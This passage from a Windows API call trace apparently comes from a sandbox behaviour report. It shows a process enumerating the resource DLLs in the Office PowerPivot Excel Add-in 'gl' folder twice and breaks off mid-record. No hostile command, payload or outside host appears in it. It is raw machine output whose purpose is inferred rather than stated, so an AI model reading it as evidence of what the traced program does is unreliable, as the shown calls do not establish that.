lpOverlapped=0x0 | out: lpBuffer=0x382fcf8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0265.872] CloseHandle (hObject=0x824) returned 1 [0265.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0265.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl", lpFilePart=0x0) returned 0x51 [0265.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0265.945] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.945] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0265.946] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd6924a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0266.056] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf05741b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf05741b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0266.056] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0266.066] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbce360e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbce360e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbce360e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fea98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0266.066] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0266.066] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18f9628, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0266.067] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0266.067] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x443f20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x443f20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0266.067] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0266.067] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3a5b63a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3a5b63a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3aa7b04, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0266.067] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68ff786, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0266.067] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0266.067] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbe3ab3a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbe3ab3a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbe3ab3a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0266.067] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0266.068] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f46636, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f46636, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3f46636, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0266.068] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfe368d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xfe368d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0266.068] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23428c3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23428c3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x23428c3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0266.068] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a77594, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a77594, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a77594, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0266.068] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0266.068] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0266.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0266.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0266.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0266.069] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl", lpFilePart=0x0) returned 0x51 [0266.069] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0266.069] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.069] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0266.069] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd6924a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0266.069] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf05741b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf05741b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0266.070] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0266.070] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbce360e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbce360e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbce360e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fea98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0266.070] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0266.070] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18f9628, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0266.070] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0266.071] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x443f20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x443f20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0266.071] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0266.071] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3a5b63a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3a5b63a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3aa7b04, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0266.071] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68ff786, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0266.071] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0266.071] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbe3ab3a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbe3ab3a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbe3ab3a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0266.071] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0266.072] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f46636, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f46636, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3f46636, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0266.158] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfe368d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xfe368d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0266.445] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23428c3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23428c3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x23428c3, 